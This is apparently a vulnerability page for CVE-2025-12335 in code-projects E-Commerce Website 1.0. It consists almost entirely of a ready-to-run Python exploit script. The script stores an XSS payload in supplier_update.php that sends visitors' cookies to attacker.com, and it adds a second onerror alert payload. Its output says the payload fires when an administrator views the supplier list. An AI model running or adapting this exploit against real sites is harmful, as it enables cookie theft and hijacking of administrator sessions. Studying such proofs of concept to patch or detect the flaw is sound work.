CVE-2025-12335 code-projects E-Commerce Website 1.0 跨站脚本漏洞

import requests import sys # CVE-2025-12335 XSS PoC # Target: code-projects E-Commerce Website 1.0 # Vulnerable Parameter: supp_name, supp_address def exploit_xss(target_url): """ Exploit for Stored XSS in supplier_update.php """ # XSS payload - steals cookies xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' # Target endpoint update_url = target_url.rstrip('/') + '/pages/supplier_update.php' # Request data data = { 'supp_name': xss_payload, 'supp_address': '<img src=x onerror=alert("XSS")>', 'action': 'update' # or appropriate action parameter } try: print(f'[*] Sending XSS payload to: {update_url}') print(f'[*] Payload: {xss_payload}') response = requests.post(update_url, data=data, timeout=10) if response.status_code == 200: print('[+] Request sent successfully') print('[+] XSS payload has been stored in the database') print('[+] When admin visits supplier list, XSS will be triggered') else: print(f'[-] Request failed with status: {response.status_code}') except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python {sys.argv[0]} <target_url>') print(f'Example: python {sys.argv[0]} http://target.com/ecommerce') sys.exit(1) target = sys.argv[1] exploit_xss(target)